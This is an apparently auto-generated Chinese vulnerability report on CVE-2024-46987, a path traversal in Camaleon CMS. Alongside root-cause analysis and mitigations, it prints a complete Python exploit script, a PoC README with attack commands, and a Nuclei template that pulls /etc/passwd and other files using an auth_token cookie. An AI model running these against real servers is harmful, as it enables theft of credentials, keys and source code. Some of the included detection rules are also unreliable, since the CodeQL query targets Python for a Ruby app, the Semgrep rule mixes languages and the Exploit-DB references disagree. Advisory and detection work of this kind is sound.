🎯 CVE-2024-46987 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
CVE-2024-46987 深度技术分析
摘要:CVE-2024-46987 是 Camaleon CMS 中存在的一处高危险性路径遍历(Path Traversal)漏洞,CVSS 评分为 7.7,允许已认证用户在无需额外授权的情况下,通过构造 file 参数下载 Web 服务器上的任意文件。该漏洞源于 MediaController#download_private_file 方法对文件路径校验不严,攻击者可使用 ../ 序列绕过私有文件目录限制,进而读取系统级敏感文件。官方在 2.8.2 版本中修复了该问题,但公开 PoC 表明 2.9.0 仍可能受影响。
📌 漏洞概述
- CVE 编号:CVE-2024-46987
- CVSS 评分:7.7(High)
- 漏洞类型:CWE-22 路径遍历(Path Traversal)/ 认证后任意文件读取(Authenticated Arbitrary File Read)
- 影响版本:Camaleon CMS 2.8.0 至 2.8.2 之前的版本;公开资料显示 2.9.0 仍可被成功利用
- 固定版本:Camaleon CMS 2.8.2
- 攻击前提:需要有效的用户会话(
auth_tokenCookie),即攻击者必须拥有 CMS 后台的任意账号(包括低权限用户)
该漏洞由 MediaController 中的 download_private_file 方法引发,它被设计用于向已登录用户提供存储在私有媒体目录中的文件。然而,由于直接在参数中拼接用户输入并传入文件读取函数,未对路径进行规范化或前缀校验,导致路径穿越攻击成为可能。
🔬 漏洞根因分析
Camaleon CMS 基于 Ruby on Rails 开发,其媒体管理功能允许管理员上传并管理私有文件。在 MediaController 中,download_private_file 方法接收一个名为 file 的查询参数,用于指定要下载的私有文件名。开发者本意是让用户只访问位于 private_file 目录下的资源,但实现时未对文件路径进行严格的白名单校验。
从公开 PoC 可以看到,攻击者构造的请求形如:
GET /admin/media/download_private_file?file=../../../../../../etc/passwd同时携带有效的 auth_token Cookie。服务端在接收该参数后,可能采用了类似 File.expand_path 或直接字符串拼接的方式构造完整路径。若使用简单的字符串拼接,例如 File.join(private_storage_dir, params[:file]),则 ../ 序列会回溯到存储目录之外,最终指向文件系统根目录下的 /etc/passwd。
从根因层面看,该漏洞至少暴露了两个安全设计缺陷:
- 缺乏规范化路径校验:Rails 框架本身提供了一些辅助方法(如
File.expand_path后再判断前缀),但这里没有使用。攻击者可以通过多次../穿越到任意绝对路径。 - 访问控制不完整:虽然接口要求认证,但未区分用户角色和资源归属。任何具备后台登录权限的用户都可以读取服务器文件。根据 NVD 描述,可读取的文件范围取决于 Web 服务运行用户的系统权限——在多数部署中,Rails 应用以低权限服务账户运行,但
/etc/passwd、数据库配置文件、.env 环境变量文件、Rails 密钥等都已可被读取。
值得注意的是,官方公告称 2.8.2 已修复,但公开 PoC 明确指出在 2.9.0 上仍可成功利用。这可能意味着 2.8.2 的补丁存在绕过,或者 2.9.0 在重构时重新引入了同类问题。PoC 中提示“捕获重定向以识别认证失败”,说明该漏洞在认证失败时会被重定向到 /admin/login,而认证成功后则直接返回文件内容——这一行为也帮助攻击者判断目标是否可利用。
💥 影响与危害
成功利用该漏洞可直接导致敏感信息泄露,具体危害包括但不限于以下方面:
- 读取系统文件:如
/etc/passwd、/etc/shadow(若权限允许)、系统配置文件等。 - 窃取应用密钥:读取 Rails 的
config/secrets.yml、config/database.yml、.env等文件,可获取数据库凭证、Secret Key Base、第三方 API 密钥等。 - 获取源代码:读取应用源码、Gemfile 等,进一步审计代码中的其他漏洞。
- 内网探测跳板:虽然该漏洞仅用于文件读取,但泄露的信息(如数据库密码、内部网络配置)可被用于横向攻击。
- 破坏数据机密性:CMS 私有媒体目录中的其他用户上传文件也可能被任意读取,违反多租户隔离原则。
由于攻击仅需一个低权限后台账号,且 PoC 脚本已广泛公开,攻击门槛极低。在互联网上暴露的 Camaleon CMS 实例面临被批量扫描和利用的现实风险。虽然 CISA KEV 尚未收录该漏洞,但其危害等级高、利用简单,仍应视为紧急修复项。
🛡️ 修复与缓解
官方修复:
升级到 Camaleon CMS 2.8.2 或更高版本。官方在发布说明中指出该版本解决了路径遍历问题,没有提供其他变通方案。但由于有报告称 2.9.0 仍受影响,建议升级前务必验证目标版本的实际安全性,并关注后续补丁。
临时缓解措施:
- 限制后台登录:禁用不必要的账号,强制使用强密码和 MFA,减少攻击面。
- 网络访问控制:将 CMS 后台管理界面限制在可信 IP 或 VPN 内,避免暴露在公网。
- Web 应用防火墙规则:在 WAF 中拦截包含
download_private_file且file参数值包含../的请求,或直接拦截该端点。 - 最小权限运行:确保 Rails 应用运行账户对敏感文件无读取权限,尤其要保护
/etc/shadow、密钥文件等。 - 监控审计日志:关注对
/admin/media/download_private_file的非预期访问,尤其是响应状态为 200 且文件大小异常的请求。
综合来看,该漏洞是典型的路径规范化缺失导致的信息泄露问题。开发者在处理用户可控路径时,应当始终使用白名单列表,或在合并前规范化路径并校验其位于预期目录内。Rails 应用可参考如下防御代码:
safe_path = File.expand_path(params[:file], private_dir)
raise "Invalid path" unless safe_path.start_with?(private_dir)通过此类校验,可有效阻止 ../ 穿越,从而根治该问题。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言md来源Goultarde/CVE-2024-46987针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明
# CVE-2024-46987 - Camaleon CMS Authenticated Arbitrary File Read
This repository contains a Proof of Concept (PoC) script for **CVE-2024-46987**,which allows for arbitrary file reading (LFI / Path Traversal) on **Camaleon CMS**.
## Description
A Path Traversal vulnerability has been identified in Camaleon CMS versions 2.8.0 to <
2.8.2 (strangely work on 2.9.0 too). It is located in the `download_private_file` method of the `MediaController`.
This vulnerability allows an **authenticated** user to download arbitrary files from the server by manipulating the `file` parameter. If the application runs with elevated privileges or if sensitive files are accessible to the system user running the CMS,
this can lead to critical information leakage (configuration files,source code,etc.).
**Technical Details:**
- **CVE ID**: CVE-2024-46987
- **CVSS Score**: 7.7 (High)
- **Type**: Authenticated Path Traversal / Arbitrary File Read
- **Affected Versions**: 2.8.0 <= version <
2.8.2
## Prerequisites
- Python 3.x
- `requests`
You can install the dependencies with the following command:
```bash
pip install requests
```
## Usage
The script requires a valid user account on the target CMS to authenticate and retrieve the CSRF token needed for exploitation.
```bash
python3 CVE-2024-46987.py -u <URL>-l <USERNAME>-p <PASSWORD><FILE_TO_READ>
```
### Arguments
- `-u`,`--url`: Base URL of the target site (e.g.,`http://example.com`).
- `-l`,`--user`: Username for authentication.
- `-p`,`--password`: Password for authentication.
- `--path`: (Optional) Path to the vulnerable endpoint. Default: `admin/media/download_private_file`.
- `-v`,
`--verbose`: Enable verbose mode to see connection steps.
- `file`: The path of the file to read on the server (e.g.,
`/etc/passwd`).
### Examples
Read the `/etc/passwd` file:
```bash
python3 CVE-2024-46987.py -u http://target-cms.local -l admin -p password123 /etc/passwd
```
Use verbose mode:
```bash
python3 CVE-2024-46987.py -u http://target-cms.local -l user -p pass -v /etc/hosts
```
## Disclaimer
This code is provided for **educational and security research purposes only**. Using this script against targets without prior authorization is illegal. The author disclaims any responsibility for misuse.
Always ensure you have explicit permission before conducting penetration tests.⚔️ EXP 利用代码
来自 Exploit-DB 的完整利用代码([webapps] Camaleon CMS v2.9.0 - Path Traversal)。
📋 代码元数据语言见代码头注释来源Exploit-DB: https://www.exploit-db.com/exploits/52530针对性✅ 官方收录 EXP依赖见代码注释用法见代码注释中的用法
# Exploit Title: Camaleon CMS v2.9.0 - Path Traversal
# Date: 2026-02-02
# Exploit Author: Sakshi Velampudi (CyberQuestor)
# Vendor Homepage: https://github.com/owen2345/camaleon-cms
# Software Link: https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
# Version: <= 2.9.0
# Tested on: Linux
# CVE: CVE-2024-46987
# Authentication: Required (auth_token cookie)
# --------------------------------------------------
# Description
# Sends a single HTTP GET request to a vulnerable private file download endpoint
# Uses an auth_token cookie required for admin access
# Detects invalid authentication via redirect to /admin/login
# Displays a preview of the response when file retrieval succeeds
# Usage:
# Run only against systems explicitly authorized for testing
# --------------------------------------------------
"""
Camaleon CMS v2.9.0 - Path Traversal Proof of Concept
"""
import requests
print("\nCamaleon CMS v2.9.0 - Path Traversal PoC (authorized testing only)\n")
# --------------------------------------------------
# 1) Input Collection
# --------------------------------------------------
target_url = input("Target base URL (example: http://target.com): ").strip()
requested_path = input("File path to request (example: /etc/passwd): ").strip()
token = input("auth_token value: ").strip()
if not target_url or not requested_path or not token:
print("\n[!] Error: URL,
file path,
and auth_token are required.\n")
raise SystemExit(1)
# Normalize base URL to avoid malformed paths
target_url = target_url.rstrip("/")
# --------------------------------------------------
# 2) Request Construction
# --------------------------------------------------
url = (
f"{target_url}"
f"/admin/media/download_private_file"
f"?file=../../../../../../{requested_path.lstrip('/')}"
)
cookies = {"auth_token": token}
# --------------------------------------------------
# 3) Request Execution
# --------------------------------------------------
# Redirects are disabled to capture authentication failures.
try:
response = requests.get(url,cookies=cookies,timeout=10,
allow_redirects=False)
except requests.exceptions.RequestException as e:
print(f"\n[!] Request error: {e}\n")
raise SystemExit(2)
# --------------------------------------------------
# 4) Response Handling
# --------------------------------------------------
print(f"\n[+] HTTP Status: {response.status_code}")
# Invalid authentication typically results in a redirect to the admin login page
if response.status_code == 302:
location = response.headers.get("Location",
"")
if "/admin/login" in location:
print(f"[!] auth_token may be incorrect or expired (redirected to {location}).")
else:
print(f"[!] Redirected to: {location or '(no Location header)'}")
raise SystemExit(1)
# Successful response
if response.status_code == 200:
print("\n[+] Response preview:\n")
preview = response.text[:3000]
print(preview)
if len(response.text) >
3000:
print("\n...output truncated...")
raise SystemExit(0)
# Other failure conditions
print("\n[!] Request failed.")
if response.status_code == 500:
print("[!] The file path may be invalid,or the server encountered an internal error.")
print(f"[i] Response length: {len(response.content)}bytes")
raise SystemExit(1)🕵️ 检测指纹
针对该 CVE 的自动化检测规则(可直接用于扫描与审计)。
🛡️ Nuclei 检测模板: CVE-2024-46987-detection.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2024-46987-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2024-46987-detection.yaml -u
id: CVE-2024-46987-detection
info:
name: Camaleon CMS Path Traversal Detection
author: sakshi-velampudi
severity: high
description: Camaleon CMS v2.9.0 and earlier is vulnerable to path traversal through the private file download endpoint.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-46987
- https://www.exploit-db.com/exploits/52048
tags: cve,cve2024,camaleon,cms,path-traversal
http:
- method: GET
path:
- "{{BaseURL}}/admin/login"
matchers:
- type: word
words:
- "Camaleon CMS"
- "camaleon-cms"
condition: or
case-insensitive: true
extractors:
- type: regex
name: version
part: body
regex:
- 'Camaleon CMS v(\d+\.\d+\.\d+)'
- type: regex
name: version_meta
part: body
regex:
- 'v(\d+\.\d+\.\d+)'
- method: GET
path:
- "{{BaseURL}}/admin/media/download_private_file?file=../../../../../../etc/passwd"
matchers:
- type: word
words:
- "root:x:0:0"
- "daemon:x:1:1"
condition: or
case-insensitive: true
extractors:
- type: regex
name: vulnerable
part: body
regex:
- 'root:.*:0:0:'🛡️ Nuclei 检测模板: CVE-2024-46987-exploit.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2024-46987-exploit.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2024-46987-exploit.yaml -u
id: CVE-2024-46987-exploit
info:
name: Camaleon CMS Path Traversal Exploit
author: sakshi-velampudi
severity: high
description: Camaleon CMS v2.9.0 and earlier is vulnerable to path traversal through the private file download endpoint.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-46987
- https://www.exploit-db.com/exploits/52048
tags: cve,cve2024,camaleon,cms,path-traversal
variables:
auth_token: "{{token}}"
file_path: "etc/passwd"
http:
- method: GET
path:
- "{{BaseURL}}/admin/login"
headers:
Cookie: "auth_token={{auth_token}}"
matchers:
- type: word
words:
- "Camaleon CMS"
- "camaleon-cms"
condition: or
case-insensitive: true
extractors:
- type: regex
name: version
part: body
regex:
- 'Camaleon CMS v(\d+\.\d+\.\d+)'
- method: GET
path:
- "{{BaseURL}}/admin/media/download_private_file?file=../../../../../../{{file_path}}"
headers:
Cookie: "auth_token={{auth_token}}"
matchers:
- type: word
words:
- "root:x:0:0"
- "daemon:x:1:1"
- "www-data:x:33:33"
condition: or
case-insensitive: true
extractors:
- type: regex
name: file_content
part: body
regex:
- '(.*)'🛡️ Semgrep 审计规则: CVE-2024-46987.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2024-46987.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2024-46987.yaml
rules:
- id: CVE-2024-46987-lfi-python
languages: [python]
severity: ERROR
message: "Potential path traversal vulnerability in MediaController - CVE-2024-46987"
patterns:
- pattern-either:
- pattern: image = Image.open(os.path.join(media_dir,os.path.relpath(image_path,media_dir)))
- pattern: open(os.path.join(media_folder,"{0}".format(filename)),
"rb")
- pattern: File.open(File.join(uploads_dir,params[:filename]))
fix: |Use File.basename to sanitize filenames and restrict access to authorized directories
e.g.,File.open(File.join(uploads_dir,File.basename(filename)),
"rb")
metadata:
cwe: "CWE-22"
owasp: "A1:2021 - Broken Access Control"
technology: camaleon-cms
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-46987"
- "https://github.com/Goultarde/CVE-2024-46987"
- id: CVE-2024-46987-lfi-ruby
languages: [ruby]
severity: ERROR
message: "Potential path traversal vulnerability in Camaleon CMS MediaController - CVE-2024-46987"
patterns:
- pattern: File.join($UPLOADS_DIR,
params["file"])
- pattern-not: File.join($UPLOADS_DIR,File.basename(params["file"]))
fix: "Sanitize user input: File.join(uploads_path,
File.basename(params['file']))"
metadata:
cwe: "CWE-22"
owasp: "A1:2021 - Broken Access Control"
technology: camaleon-cms
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-46987"
- "https://github.com/Goultarde/CVE-2024-46987"🛡️ CodeQL 审计规则: CVE-2024-46987.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2024-46987.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id python/path-traversal/cve-2024-46987
* @name Path traversal in Camaleon CMS MediaController
* @description User-controlled input flows to file path operations in Camaleon CMS MediaController,
allowing authenticated path traversal
* @problem.severity error
* @tags security
* external/cwe/cwe-022
*/
import python
import semmle.python.security.dataflow.PathInjectionQuery
import PathInjectionFlow::PathGraph
from PathInjectionFlow::PathNode source,PathInjectionFlow::PathNode sink
where PathInjectionFlow::flowPath(source,sink)
select sink.getNode(),source,sink,
"User-controlled input flows to file path operation in MediaController - potential path traversal"🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-12 09:09 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库